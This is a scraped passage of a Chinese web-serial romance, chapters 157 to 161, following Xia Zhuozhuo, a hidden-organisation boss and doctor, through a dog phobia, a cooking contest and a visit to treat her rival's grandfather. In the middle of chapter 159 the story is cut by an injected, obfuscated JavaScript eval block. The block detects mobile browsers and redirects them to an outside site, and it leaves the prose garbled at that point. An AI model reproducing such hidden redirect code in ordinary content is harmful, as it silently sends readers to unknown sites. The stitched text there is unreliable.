司慎行是第一次看到夏灼灼头发乱成一团的样子,毛茸茸的,像夏太太怀里的那只小狗,让人很想揉一揉,举高高,再抱一抱。 夏灼灼平时的样子太冷淡了,晨起时的她,表现出了巨大的反差。 司慎行的唇角,不自觉弯起了一个弧度。 夏怀征和夏怀呈都看在眼里。 兄弟俩对视一眼,心里都很是自豪。 人人都畏惧、亦或是想讨好的人,现在满心满眼都是他们的妹妹。 怎么能不自豪呢? 不过对于夏灼灼和司慎行的事情,他们两个都不打算掺和。 司慎行再好,也要妹妹自己喜欢才是好。 没多久,夏灼灼下楼了。 她穿着简单的白色运动服,头发用夹子挽起,利落清爽,像早晨的露珠,干干净净,没有半点杂质,却能反射出太阳的光辉。 司慎行率先看到夏灼灼,几步走上前,跟她解释自己今天登门的原因。 “上次在冯家,我跟伯母说捡了只狗,本来第二天就要送过来,但怕身上有虫,就先让宠物医院做好驱虫,打了疫苗,确定没问题了,这才送过来。” 夏灼灼点头。 她记得这件事。 然而就在这时,夏太太抱着小狗过来了。 “灼灼,慎行说还没取名字,名字让你来取吧?” 一边说,一边就要把小狗往夏灼灼怀里塞。 夏灼灼吓了一大跳,猛地往后面退去。 眼看就要撞上身后的门,司慎行眼疾手快,一把搂住她的腰,把人带往自己的面前。 两人距离很近,彼此能感觉到对方喷出来的气息。 夏灼灼脊背一紧,快速从司慎行怀里退了出来。 还没说话,司慎行先解释了:“不是故意抱你的,你刚才差点撞上门。” 夏灼灼当然知道。 只是他这一惊一乍的,做什么都提前解释,搞的她像是个很难说话的人。 不过—— 夏灼灼转念一想,自己在司慎行面前,好像一直是一个很难说话的人。 这也奇怪了。 她觉得自己对别人都挺好说话的,怎么唯独对他…… 夏太太在这时再次抱着狗走上前,只是距离她还有一米的位置就停了下来。 “怎么回事?你怕狗吗?”夏太太一边问,一边把狗放到夏怀征的怀里。 夏怀征坐在轮椅上,双腿正好可以让小狗站着。 几个人都看着夏灼灼。 毕竟夏灼灼刚才的反应太大了。 司慎行也是第一次看到夏灼灼露出惊慌失色的模样。 她向来是镇定的。 夏灼灼见大家都盯着她——包括那只小狗,也盯着她。 她当即有点尴尬地摸了下鼻子,说:“小时候被村里的狗咬过,所以有点阴影。” 其实不是村里的狗,是柳月茹和江泽的狗。 那是一条黑色的田园犬,舌头也是黑的,很聪明,对主人的指令言听计从。 所以当江泽让它咬她的时候,那只狗没有半分迟疑,冲过来就对着她的小腿咬了下去。 好在当时有同村的人路过呵止,否则夏灼灼的腿能被咬下一块肉。 而江泽让那条大黑狗咬她的原因也很简单。 那个时候江泽也还是个孩子,不懂什么是童养媳,只知道家里多了一张吃饭的嘴,大家还都夸夏灼灼漂亮,所以他就起了嫉妒的心。 就因为他的嫉妒,夏灼灼的小腿,永远留下了一个疤痕。 所以她天不怕地不怕,但是很怕狗。 不过夏灼灼没说这些细节,只说小时候被狗咬过,一笔带过。 司慎行当即说:“那我还是把狗带回去吧。” 顿了下,又说:“我把它训好了,训听话了,再给你送过来。以后,它就是你的狗保镖,再也不会有别的狗敢欺负你。” 狗保镖三个字逗笑了夏灼灼。 她没有拒绝,点头说好。 既然是阴影,那就不能逃避,得克服。 只不过不是现在,先等司慎行把狗训得不会咬人了……再说吧。 真不是她害怕。 于是司慎行带着狗来,又带着狗走。 只是临走的时候,他让她给小狗取名字。 夏灼灼想了想,说:“叫将军吧。” 咬她的那只黑狗,就叫将军。 既然要克服阴影,那就索性叫同一个名字。 司慎行应下了,哪怕……这只小金毛是一个女孩子。 “好,就叫将军。”他说。 夏灼灼沉默一秒,说:“你要把它训成,我想让它咬谁,它就咬谁。” 司慎行道:“好。” …… 很快到了吃午饭的时间。 夏太太问起夏怀武。 夏怀呈摇头说:“不知道,他这几天早出晚归的,比小六还忙,不知道在瞎忙什么。而且每次回来,脚上都一堆泥,昨天晚上还弄脏了我门口的地毯。” 夏太太道:“那改天让他跟着你,免得去外面惹祸。” 夏怀呈应声说:“好啊,我正好缺人手。” 夏灼灼静静听着,没说话。 上楼之后,却给金虎打了个电话。 “我要你找的人,你找到了吗?” 电话那头,金虎很不好意思地说:“还没有……也不知道这女人藏到哪里去了。不过您放心,只要她在沪城,我早晚把她找出来!” 夏灼灼很肯定地说:“她一定还在沪城。” “那我再认真找一找,就算是掘地三尺也要把她给找出来!” 夏灼灼道:“用不着掘地三尺,我有个猜测,只不过不能确定。” “您说。” “你派个人……不,你亲自,跟着夏怀武,看看他都去了哪些地方。” “夏怀武是您那位五哥?” “嗯。” 虽然不想承认,但血缘关系上,他们的确是兄妹。 “是,我明白了,我这就去办。” 夏灼灼挂断了电话,脑子里浮现的,是夏怀武这几天的异样。 以及他鞋子上的泥泞。 她的猜测,就是夏怀武把夏琉璃藏了起来。 其实这段时间,她感觉得出来夏怀武想跟她修复兄妹关系。 夏太太那边也一直希望她能跟对别的哥哥一样对夏怀武敞开心扉。 她原本已经有些动摇了。 毕竟,夏怀武虽蠢,但没有坏心。 这也是她愿意让夏怀武去帮她查古武堂剩余残党的原因。 这是给夏怀武一个将功赎罪的机会。 可要是让她猜对了,那么抱歉,她跟夏怀武,永远只会是血缘关系的兄妹,不会是亲情上的兄妹。 但愿是她猜错了。 没人不想阖家团圆。 …… 早上没睡好,夏灼灼打算午休一下,再去暗部忙正事。 然而刚躺下不久,夏太太就敲响了她的房门。 “灼灼,来客人了。” 夏灼灼掀开被子下床,开门问:“谁来了?” “杜家。” 夏灼灼眼底稍感意外,很快跟着夏太太下楼。 来的人,是杜浩然,以及他的父亲,杜正国。 两人寒暄了一会儿,杜正国说起正事。 “夏小姐,之前在未来之境,我跟您提过,想让您为我爸的一个老朋友看病,不知道这件事您考虑得怎么样了?” 夏灼灼已经忘了这事了。 杜正国提起,她才想起来。 “对方是什么病?” “这个……我不是很清楚。只是找遍了名医,都没能治好,所以在听说我爸被你救回来之后,特意上门求了我们。” 杜正国说到这,提醒他:“这人身份不一般,如果能治好他,对夏小姐一家都有好处。” 夏灼灼眉头一挑,问:“是谁?” 第158章 要说法,反被打脸 杜正国却说:“他身份特殊,如果夏小姐不能出诊……请原谅我不能告诉您他的身份。” “灼灼……”夏太太担忧地看她一眼。 夏灼灼懂夏太太的意思。 身份这么特殊,万一在她手上有了个什么闪失就不好。 夏太太不希望她去冒险。 对夏太太来说,没有好处,比女儿的安危更重要。 然而夏灼灼考虑的是,对方身份既然如此特殊,能劳动杜正国两次替他求医,今天还登门来说这件事…… 那么,或许她该试一试。 夏灼灼道:“我可以先看看。今晚方便吗?下午我有事。” “那正好,他是京都人,我联系他们,让他下午坐私人飞机过来。到了晚上,正好您可以为他看看。” 夏灼灼说好。 “只不过我丑话说在前头,我只是去看看,能不能治好,我不能打包票。” 杜正国忙说:“当然,如果连您也治不了,恐怕这天底下也没有人能治好他了。” 夏灼灼点头:“那你晚上来接我吧。” “好。” 事情说定后,杜正国留下了一堆礼物,带着杜浩然离开了。 杜浩然一步三回头,目光紧锁在夏灼灼身上。 不仅夏灼灼感到不舒服,连夏太太都有点不舒服了。 等人两人彻底离开,夏太太开口道:“灼灼,这个杜浩然……” “我知道的,妈。”夏灼灼安抚道:“上次在冯家,我就跟你说过,我对这种人没有任何想法。” “妈知道,妈怕的是,他对你有想法,从而做出点什么……” “您放心,就凭他,对我做不了什么的。” 夏太太沉默两秒,说:“晚上妈陪你一块去吧?你一个人去,妈不放心。” 夏灼灼没拒绝,点头答应。 她也很好奇,这位神神秘秘的患者到底是谁。 不过,如果夏灼灼早知道对方的身份,恐怕就不会去了。 …… 下午,夏灼灼稍稍午休了一下,补足精神,便去了暗部。 京都那边重要的手下,已经全部过来了。 他们有的玩假死,有的故意传出流言,说跑出国了。 这让京都那边忌惮暗部的人放松不少。 他们怎么都想不到,这群人,此刻都在沪城郊区一个看似不起眼的工厂里。 夏灼灼一到,就被热情包围。 “老大!你说说秋雨,她就知道欺负我们。” 夏灼灼看一眼秋雨,“哦?”了一声,问:“她怎么欺负你们了?” 秋雨揽住她的手臂。 “老大,你别听他们瞎说,我就是想去参加一个比赛,但他们不同意,我就、就在饭菜里下了点泻药。” 说到后面,她自知理亏,声音低下去。 夏灼灼眉头轻轻一拧。 秋雨还以为夏灼灼也要骂她,小心地吞了口唾沫要道歉。 却没想到,夏灼灼说的却是:“直接揍他们就是了,浪费泻药干什么?” 秋雨是厨师世家,祖上都是御厨。 如今家里的餐厅在全国开了一百多家连锁。 外人只知道秋雨厨艺了得,但其实夏灼灼一直在教她武术,所以她的身手也非常不错。 一般人,根本不是她的对手。 秋雨闻言放心了,在夏灼灼的肩头蹭了蹭。 “我就知道,他们找你告状没用,嘿嘿。” 夏灼灼宠溺地拍拍她的脑袋,但很快正色说:“以后下药这种事,不要做。万一临时有人闯进来,他们一个个都跑去上厕所怎么办?” 秋雨郑重点头:“以后再也不会了,老大。” 夏灼灼便问:“你要去参加什么比赛?” 没等秋雨说话,谷仔率先开口:“老大,小雨想去参加沪城的金勺子比赛。我是想着,小雨既然是咱们暗部的人,这段时间最好还是别抛头露面,所以才让她别去。” 夏灼灼思考了几秒,说:“你的考虑没错。” 现在是暗部的特殊时期,任何人都不能出纰漏。 秋雨着急了。 “老大,我、我真的很想去。” 夏灼灼提醒她:“秋雨,这个金勺子比赛,虽然明面上看,是厨艺比赛,但其实完全没有含金量。只不过是沪城的那些名门大小姐为了为自己镀金,专门搞的一个噱头罢了。” 秋雨的眼眶有些红。 “老大,这些我清楚,但是……冠军的奖励,对我来说非常重要。” “你缺钱?” 秋家,按理说,绝对不会缺钱。 秋雨摇摇头,说:“这次比赛,除了奖金,还会奖励一副金筷子。那双金筷子……是我爷爷还在做御厨的时候,当时的皇帝赏的。但后来历史动荡,我们家也经历过一段困难时期。那双金筷子被拿到当铺当了。我们家情况好转之后,我爷爷想找回来,却怎么都找不到。” 然后,她就在这次的比赛宣传单上,看到了那双金筷子。 上面就刻着他爷爷的名字,以及皇帝称赞她爷爷的两句诗。 “我爷爷马上八十大寿,我知道他就这点念想,所以才想着参加比赛,把金筷子赢回来,送给爷爷做生日礼物。” 说明情况后,众人这才明白过来,为什么秋雨一定要在这种特殊时候还出去参加比赛。 秋雨是暗部的人这件事,虽然除了把她带大的秋爷爷,没人知道她在暗部工作。 但秋雨是秋家以后的接班人,她的一言一行,很多人都会注意到。 一旦出去,一定会被人认出来。 而如果秋雨拿了冠军,一定会更加显眼。 到时候她就不方便再回到这里了。 夏灼灼想了想,说:“小雨,如果你不介意的话,我替你去参加比赛。” 反正没人会把夏家从乡下找回来的七小姐跟暗部老大联系在一起。 秋雨一听,立刻激动地握住她的手。 “当然不介意!如果老大愿意帮我去,冠军一定是你的!” 秋雨的长相,虽然清秀,但只能算是个小美女。 去参加名为厨艺比赛,实则是沪城第一名媛的比赛,单靠厨艺其实很悬。 但如果夏灼灼愿意替她去参加比赛,一定十拿九稳。 夏灼灼说:“你放心,就算我拿不了冠军,也会请求拿了冠军的那位,把金筷子卖给我。” 秋雨用力点头。 一桩心事散去,她脸上重新恢复灿烂的笑容。 “好了,忙正事吧。还有一堆人没安排工作,得尽快落实他们要‘放’到哪里。” 暗部的每个人,都有自己的职责。 但来了沪城,很多人就闲置下来了。 得重新为他们安排最能凸显他们才能的工作,‘人’尽其用。 其余人连连点头。 夏灼灼在暗部,一直忙到晚霞漫天才回家。 回去的路上,夏灼灼收到了司慎行发过来的一条消息。 是一段不到五秒钟的视频。 司慎行坐在沙发上,指着小金毛:“坐下。” 那小金毛摇摇尾巴,竟然真的坐下了。 司慎行又让它握手,它果然抬起了自己的爪子。 “很聪明的狗。”夏灼灼回复了句。 心里想的是,跟乡下那只已经死了的黑将军一样聪明。 黑将军那一口咬下去,她到现在还有阴影。 她要用金毛将军,把阴影转移到江泽身上去。 按照司慎行的训练速度,应该很快就能把金毛将军训出来了。 司慎行没回她,不知是在忙着训狗,还是忙别的事情去了。 夏灼灼放下手机,继续开车。 而司慎行那边,的确是在忙。 他处理掉了司珏羽的两个心腹,司珏羽找上门来了。 “堂哥,你得给我个说法。我好好的两个手下,就这么没了,你不打算跟我解释一下吗?” 司慎行让阿麦把将军抱走,点了支烟,斯条慢理道:“你来得正好,我也想跟你要个说法。” 司珏羽皱眉。 “什么意思?” 司慎行瞥了眼霍刚,直接开口:“掌嘴。” “是!” 霍刚一应声,几步上前,抬手就狠狠给了司珏羽一个耳光。 霍刚是习武的人,手劲很大,这一个耳光,直接把司珏羽打得牙齿都生疼,更别说脸颊了。 她直接痛懵了,好一会儿都捂着脸没有说话。 等到她反应过来,已经是一分钟之后了。 她捂着脸,一双眼睛瞪得老大。 “堂哥,你凭什么打我!你疯了吗?!杀了我的人,你不给我说法就算了,还打我?” 司慎行一根烟已经抽完了,换了个更闲散的坐姿。 仿佛刚才只是打死了一只蚊子。 他波澜不惊开口:“你要我给你说法,我还想让你给我说法。你好好的京都不待,来沪城搅合我的生意?刚才那一耳光,就是给你的惩罚。” 司珏羽听得一头雾水。 “我什么时候搅合你的生意了?我这几天,除了逛街,就是约人吃饭,其余时间都待在酒店里。霍刚跟着我,他知道我什么都没做。” 司慎行冷笑一声。 “你是没搅合我的生意,但你那两个手下搅合了。所以他们该死,而你,御下不严,该打。” 换言之,如果搅合他生意的人是司珏羽,死的就不是她的手下,而是她。 司珏羽凭空打了个冷颤。 但司珏羽不是逆来顺受的人,这一耳光,不弄清楚,她不会善罢甘休。 “堂哥,你把话说清楚,我的人什么时候搅合你的生意了?如果真有这种事,我认了,但如果没有……我会把情况如实告诉大伯。” 司珏羽的大伯,就是司董事长。 她在拿司董事长压司慎行。 第159章 情敌见面 司慎行是司董事长的亲儿子没错。 但在几个月前,司慎行还是司董事长私生子。 司慎行这个“私生子”,以前一直是被养在外头的,跟司董事长关系并不亲。 哪怕后来司谨言的母亲狸猫换太子的事情真相大白,司董事长跟司慎行还是不够亲近。 亲情,自小培养的才会更深厚。 司慎行心里一定还是会害怕司董事长以后偏心司谨言。 所以司珏羽拿司董事长来吓唬他。 司慎行的脸上却是一如既往的波澜不惊。 且不说司董事长不在意什么感情深不深厚,更在意血缘关系的正统。 就算司董事长偏心司谨言,那又如何? 几个月时间,他已经收服了大部分S集团的核心成员。 这时候司董事长就算提出再换继承人,司慎行也不怕。 因为S集团不是家庭小作坊,核心成员和董事们如果不同意,司董事长也是不能轻率地做决定的。 他又点了支烟。 烟雾氤氲了他俊眉近妖的脸。 他没说话,只瞥了一眼霍刚。 霍刚立刻会意,拿出手机,把一段监控录像放给司珏羽看。 录像内容正是昨天晚上,司珏羽的两个手下纠缠杜馨月的那一段。 夏灼灼美人救美那一段则是没出现在录像里。 司慎行特意提前删去了,免得司珏羽找夏灼灼麻烦。 司珏羽定定看完了那段录像,也认出了录像里的杜馨月。 杜馨月是沪城人,她跟她并不熟悉。 但同为一个阶层的人,平时或多或少有接触到。 因而她知道里面那个被自己手下骚扰的女人,就是杜家的大小姐。 司珏羽的脸色慢慢变了变。 只听司慎行说:“你应该很清楚,我来沪城,第一个大项目就是跟杜家合作的那个项目。如果不是我的人正好撞到,及时处理掉了他们,后果如何,你猜得到。” 司珏羽的手臂起了一层鸡皮疙瘩。 她的手下,还真是差点搅黄了司慎行的生意。 如果爸爸知道这件事,别说一个耳光了,她恐怕下场更惨。 因为爸爸……也被司慎行打服了。 当然,不是打人的打,是打压的打。 她爸爸是很疼她没错,可爸爸更在意权势金钱。 司珏羽“咕噜”了一声,吞了口唾沫。 “对不起,堂哥,都是我的错。你 这一耳光,我受了。 “知错就好,我不怪你,我们是堂兄妹,只要你别干扰我的路,你就还有好日子过,就还是司家的小公主。 司珏羽又是一个寒颤。 话说那么好听,其实全是威胁警告。 “是……她说。 司慎行又开口道:“我知道你来沪城干什么,夏怀乐现在不是你能惹的人,死了这条心,尽快离开,别叫我把你丢回去。 司珏羽咬了下下唇。 她很想说,我追求我喜欢的人,关你什么事? 夏怀乐一个破产家庭的儿子,又不会影响你的生意! 可是她不敢。 她把话都吞了回去,转身离开了。 只是对于司慎行对于夏怀乐那件事的警告,她并没有往心里去。 而她,也会因此付出巨大的代价。 司珏羽走后,司慎行才看到夏灼灼发过来的消息。 他心里窝火。 什么时候来不好,偏偏在夏灼灼回他消息的时候找上门。 害得他错失了秒回的时间。 那一耳光,还是打轻了。 他捧起手机,像个初出茅庐的毛头小子,认认真真地给夏灼灼回复消息。 “刚才有点事在忙,没看到你的消息。你放心,将军在我手里,一定让它乖乖听话。 先解释自己为什么没有立刻回信息,再做保证。 但夏灼灼没有回复。 因为杜家的人上门了。 来接她的不是杜正国,而是他儿子杜浩然。 杜浩然没穿白天的西装,而是穿了一身灰色的休闲服。 因为上午的时候,夏灼灼穿的也是一身休闲服。 他特意挑了一件跟夏灼灼的衣服能搭配的。 但进门后,他才看到,夏灼灼换了身衣服。 是一身很正经的衣服。 跟他的休闲服完全不搭。 杜浩然眼底有明显的失望。 但夏灼灼才不管他是什么表情。 夏琉璃用过的男人,就算跪到她面前,她都不会多看一眼。 尤其杜浩然这人本身就不是个什么好东西。 她早就查过他。 杜浩然养了很多女人,不是自己用,而是利用那些女人的肉体,换得他想达到的目的。 他这些年顺风顺水,靠的,除了杜家,就是他养的那些女人。 他自己则是没有任何长处。 这种男人,给狗, 狗都不要。 因而,夏灼灼没有上他的车,而是让夏管家开车,跟在杜浩然的车子后面。 杜浩然本来还想挣扎一番,想跟夏灼灼单独相处一会儿。 但后来听说夏太太也去,就放弃了挣扎。 两辆车一前一后,往市中心开去。 很快在杜家公馆门口停了下来。 看来,那位病人跟杜家的关系的确不错,愿意住在杜家的地盘。 “就是这儿了。” 杜浩然在前面领路,只是进了客厅,他没让夏太太上楼。 “还劳烦您在楼下等一会儿。楼下有很多玩的,我让他们领您到处看看。” 夏太太看了夏灼灼一眼。 见夏灼灼点头,便跟着杜浩然的人走了。 而夏灼灼,则是跟着杜浩然往楼上去。 杜浩然少不了私心跟夏灼灼攀谈,走路很慢。 “我以前年轻,看走了眼,所以才跟夏琉璃在一起,不过现在我已经跟她分了。” “……”夏灼灼看他一眼,意思很明显:这跟我有什么关系? 杜浩然一噎,说:“你不是跟她关系不好吗?” “没有什么关系好不好一说,从她跟夏家断绝关系那一刻起,她对我来说只是个陌生人。” 杜浩然又是一噎。 但他很快找到了新的话题。 “听说赵缇大师那天离开未来之境之后就病了,不如改天咱们一起去医院看看他?” “不用了,跟你一起去看他,我怕赵缇也被恶心到。” 夏灼灼毫不掩饰自己内心的厌恶。 杜浩然的脸上立刻浮现出了怒意。 夏灼灼再次开口:“怎么?杜少爷找我过来,是为了聊天,不是为了求我给你爷爷的朋友治病?” 一句话让杜浩然的怒火彻底散去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238575|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想起来了,是他们杜家有求于她。 再恼火,也得等事情结束了再说。 他脸上很快重新挂上笑容。 “是我啰嗦了,夏小姐,请。” 他没再慢吞吞领路,而是用正常速度走路了。 很快夏灼灼来到了一间房间的门口。 门一拉开,看到里面的人,夏灼灼倏然瞪大了自己的眼睛,脸上的血色也在一点一点慢慢消失。 躺在床上的老人,夏灼灼没仔细看脸。 但站在老人旁边的女孩,夏灼灼却是一眼就把她认出来了。 云霓。 宗域的小师 妹。 哦不,如今,她已经是宗域的太太了。 夏灼灼怎么都没想到,她要看的患者,会是云霓的爷爷。 云霓在这里,那……宗域会不会也附近? 她不知道自己再见到宗域会是什么样的心情,但他很确定,她不想见到他。 而此时,云霓也看清楚了她的长相,一双杏仁眼比平时瞪得更大,眼底满是惊讶。 她也没想到,杜家给他们家推荐的神医小姐,竟然会是夏灼灼。 四目相对,两人都愣在原地。 还是房间里的杜正国疑惑地开口:“夏小姐,怎么不进来?有什么不对吗?” 不对,太不对了。 要是知道病人是插足她和宗域感情的人的爷爷,她死也不会来。 “夏小姐?”杜浩然也在叫她。 夏灼灼这时候才从震惊和愤怒中回过神。 但她的脸色很冷,像是一块千年寒冰。 她对上杜正国的视线,沉声说:“抱歉了,杜先生,这人我看不了,你另请高明吧。” 说完,她转身就走。 杜正国连忙追上来,一边跟着她走,一边低声问:“夏小姐,您话里的意思我没听懂。您是觉得自己治不了,还是不想治?” 夏灼灼直接说:“不想治。” 杜正国的脸色变了变,但还是耐着性子问:“能告诉我原因吗?” 夏灼灼停住脚步,冷笑了一声。 “原因?你去问问那位云小姐就能知道原因。现在,请你不要跟着我了,我要回去了。” 说完,她再不停留,加快速度往楼下走。 杜正国犹豫了一番,没追上去,而是折身回到了房间里。 “云小姐,你跟夏小姐认识?” 云霓心里的震惊,比夏灼灼还有过之而无不及。 她一直以为,宗域的前女友,是个无所事事的普通女孩。 除了长得特别漂亮之外,没有别的长处。 却没想到,她就是那位享誉京都的神医小姐。 直到杜正国问她,云霓才回过神来。 “见过几次。” “只是见过几次?那为什么她说……”杜正国看了眼床上昏睡的老人,压低声音说:“她说她不想给云老首长治病?” 云霓咬住下唇,不知道该怎么说。 片刻后,她道:“我自己去找他,麻烦您先帮我看着我爷爷。” 杜正国点头,云霓就快步追出去了。 而此时,夏灼灼已经到了楼下。 别馆的占地面积很大,她花了两分钟时间才找到夏太太。 夏太太正在别馆的星空影院里,刚坐下不久,还没开始看电影,夏灼灼就来了。 “妈,我们回去吧。”她说。 第160章 不幸,因为夏灼灼 夏太太眼底全是惊讶。 “怎么这么快就下来了?是……治不了吗?” 夏灼灼轻轻摇头。 “没有,是我不想治。” 夏太太不是个多嘴的人,尤其是在外面。 她一个字也没有多问,站起身就跟夏灼灼出去了。 只是刚一出门,就遇上追上来的云霓。 夏灼灼眉头紧锁,还没开口,旁边的夏太太满脸惊喜地上前。 “妮妮,怎么是你?” 妮妮是云霓的小名。 云霓错愕地看看夏太太,又看看夏灼灼。 而夏灼灼脸上,也有同款错愕的表情。 “你们是……?” 夏太太握住夏灼灼的手,很自豪地介绍:“她是我女儿,亲女儿。” 云霓的表情落在夏灼灼脸上,更加不可思议。 但细看,夏灼灼跟夏太太的眼睛是长得很像的。 同样的大眼睛,都清澈似水,只是夏灼灼的眼神更冷一些。 “没想到……夏小姐就是您流落在外的女儿。”云霓很快找回了自己的声音,笑着说:“恭喜你啊,穗香阿姨。” 夏太太含笑点了点头,又跟夏灼灼介绍:“我跟妮妮的妈妈以前是同学。宁、云两家,关系很好。” 夏灼灼就懂了。 原来是老朋友的女儿。 这世界,真是奇迹般的小。 小到让人讨厌。 夏太太又问云霓:“这次生病的是……?” “是我爷爷。” “老太爷怎么了?” 云霓叹了一口气,说:“是偏瘫。而且还有别的毛病。各种毛病加在一起,现在醒着的时间越来越少。直到杜老先生向我们推荐了夏小姐……” 说到这,云霓很复杂地看夏灼灼一眼。 夏太太叹了口气。 “人年纪大了,是会有很多毛病。但老太爷是个有福的人,一定能逢凶化吉的。” “谢谢您,穗香阿姨。” 云霓说着,看向夏灼灼问:“夏小姐,我能单独跟你聊几句吗?” 夏灼灼慢慢收紧手指。 她当然不想。 可……宁穗香跟夏太太认识。 她沉默两秒,终于还是说:“进里面聊吧。” 云霓都有胆子跟她聊,她有什么不能跟她聊的? “谢谢你,夏小姐。” 云霓道了谢,先进去了。 她看出来,夏灼灼还有话要问宁穗香。 等到云霓进到影院,夏灼灼开口道:“妈,你跟宁家早就断了联络,现在跟云家……还是很熟吗?” 夏太太道:“我跟云家算不上很熟……但是,我们家跟党家的关系,上次去冯家,妈已经跟你说过了。党帅跟你爸爸,是过命之交。” 夏灼灼问:“您的意思是,云家跟党家关系很好?” 夏太太点头。 “正是这样。云老太爷虽然已经退休,但他手下很多人都还在京都那边做事。他们看在云老太爷的面子上,都会选择帮党帅。” 夏灼灼继续问:“也就是说,如果云老太爷走了……那些人就不一定会继续现在的站队?” “是这个道理。” 夏太太顿了下,问她:“灼灼,你跟妮妮……有过什么矛盾吗?我看你看她的眼神不对。” 夏灼灼下意识摇头。 “没有矛盾。” 夏太太蹙眉:“你没跟妈说实话。” 夏灼灼只好如实说:“她的老公,是我前男友。” 夏太太倏然瞪大眼睛。 她以为最多是两个小姑娘之间有什么小矛盾,没想到还涉及了第三个人。 “他们……” “我那位前男友,在跟我在一起的时候劈腿了,最后选择跟我摊牌,跟她在一起了。” 怪不得。 她就觉得,她没见过夏灼灼用那么冷的眼神看人。 两秒后,夏太太突然握住夏灼灼的手。 夏灼灼以为夏太太要为了大局,让她放下情爱纠葛,为云老太爷治病。 她也想好了,为了大局,这些往事,暂时压下。 却没想到,夏太太说:“灼灼,如果你不想治,那咱们就回去。” 夏灼灼错愕抬眸。 只听夏太太继续说:“这本来就是我们长辈之间的事情,原来我也没想要让你牵扯进来。你已经帮妈拉拢了冯家,党帅也知道这件事,他很感谢你。至于其他的,你不用再管。所以你不想治,咱就不治。” 夏太太的话,像羽毛,轻轻在夏灼灼疼痛的地方扫过。 那疼痛的地方,仿佛被柔意包裹住,也就没那么疼了。 “妈。” 夏灼灼开口道:“或许过去的事情,我就应该让他过去。一直逃避,是懦夫行为。何况,那是云霓和宗域欠了我的,不是云老太爷欠了我的。” 夏太太眼底有泪光闪动。 “灼灼,妈还是那句话,所有的一切都没有你重要。你爸爸也是这么认为的。所以,你不用为了我们为难自己。” 夏灼灼已经做好决定了。 “妈,我不为难。我会为云老太爷治病。” 宗域……她该彻彻底底放下了。 其实放下也没有那么难。 只是会有些痛罢了。 痛过之后,一切都会好的。 “你当真没问题吗?”夏太太关切地问。 “没问题。” “好。”夏太太点头:“那妈在客厅等你。” “嗯。” 夏灼灼应了声,转身进到影院里。 里面,云霓正安静地等着。 当然,安静是表面上的,她内心波澜万丈。 她着实没想到,自己爷爷的性命,会有一天系在她曾经不放在眼里的女人身上。 不过她已经想好了,今天就算是跪着给夏灼灼磕头,她也要求她为爷爷治病。 她是爷爷带大的,感情深厚是一方面,还有一方面,就是爷爷一死,宗域说不定就会跟她离婚。 这是她最不愿意看到的。 就在这时,云霓听到了脚步声靠近。 她一转头,就看到了夏灼灼。 比起之前,夏灼灼更漂亮了。 她自诩也是个大美人,可美不美,是对比出来的。 她没法否认,夏灼灼比她更美。 因为这是事实,长了眼睛的,都能分辨出来。 云霓压下心头的涩意,正要开口说话,夏灼灼先开口了。 “我可以为云老太爷治病。” 云霓明显一愣,不敢置信地望着她。 夏灼灼继续说道:“但我有一个条件。” 云霓垂在大腿两侧的手慢慢收紧。 她说:“别的条件,我都可以答应你。但如果是让我跟宗域分开,这不可能。我们两个已经结婚了。” 夏灼灼嘲讽一笑。 “你以为,烂了的苹果我还会拿起来吃吗?” 云霓蹙眉。 “什么意思?” “烂了的苹果,烂了的男人,我都不会再想要。” 云霓心里很不舒服。 因为夏灼灼在骂她的男人。 连带着,把她也骂进去了。 她深吸了一口气,压下眼底的戾气,问:“既然不是让我们分开,那你的条件是什么?” “很简单,我为云老太爷治病期间,我不想再看到你,也不想看到宗域。你们两个,必须不能出现在我眼前,哪怕一秒。” 云霓眼底有明显的意外。 “就这样?” “就这样。” 她咬了下下唇,心底莫名很不爽。 其实,如果夏灼灼真的说出让她跟宗域分开这样的话,她虽然不会答应,但心里反而会更舒服一些。 跟宗域结婚这一年多,她很幸福,也很痛苦。 这痛苦,来自于夏灼灼。 所以如果看到夏灼灼也还沉浸在这段感情带来的痛苦中,她心里多多少少会舒服一点。 可是没有。 夏灼灼表现很平静,看不出一点难过,只是很嫌弃他们夫妻两个。 奈何有求于人,她什么都没表露出来。 “没问题,这几天我会待在酒店,不出现在杜家公馆。至于阿域,你放心,他没来沪城。” “那你现在就走吧,我会上楼替他看诊。” 云霓张了张嘴,有很多话想说,可到底还是都咽回去了。 她不能说。 为了眼前的幸福,她什么都不能说。 “那就拜托你了。” 留下这么一句,云霓离开了。 而夏灼灼也重新回到了楼上。 杜正国见她去而复返,心里很高兴。 “夏小姐,你……” “不用多说,我会为他治疗。” 说着,夏灼灼来到了床边,为云老太爷进行诊断。 云老太爷的情况很是棘手。 她可以断定,如果不是及时送到了她面前来,就云老太爷现在的情况,这周内就该准备后事了。 因为云老太爷除了本身的基础病和偏瘫之外,体内,还有一种很难解的毒素。 就是这种毒素,让云老太爷长时间陷在昏睡的状况里。 只要把毒素解开,其他的病,都能慢慢治。 偏瘫也能靠针灸慢慢恢复。 “怎么样,夏小姐?”见她站起身,杜正国连忙迎上来,杜浩然也眼神紧锁着她。 夏灼灼转过身对杜正国说:“我可以治,只不过要提前准备药材,给我一天的时间,后天我会再过来。至于这两天,我会先开个方子,先喝两天的药。” “是……”杜正国对夏灼灼的医术很是信任,当即叫杜浩然拿纸笔过来。 很快夏灼灼写好药方,叫杜正国派人去抓药。 “一天两次,都在饭后吃。就是灌,也要把药灌下去。”夏灼灼叮嘱说。 杜正国连忙应下。 做完这些,夏灼灼便下楼,跟夏太太一起离开了。 只是离开的时候,她从车外后视镜瞥见有一抹身影很快回到了杜家公馆里。 是云霓。 说好的待在酒店不会出现,她一走,云霓就又进去了。 是真的很担心云老太爷,还是有别的什么? 第161章 窃听 有一个猜测,在夏灼灼的脑子里飞速闪过。 她的眸子深了深。 但愿……云霓没有她想的那样丧心病狂。 不过她对云霓不太了解,以防万一,她得先留好后招,确保万无一失。 因为人倒霉的时候,这万分之一,恰恰就会落到自己的头上。 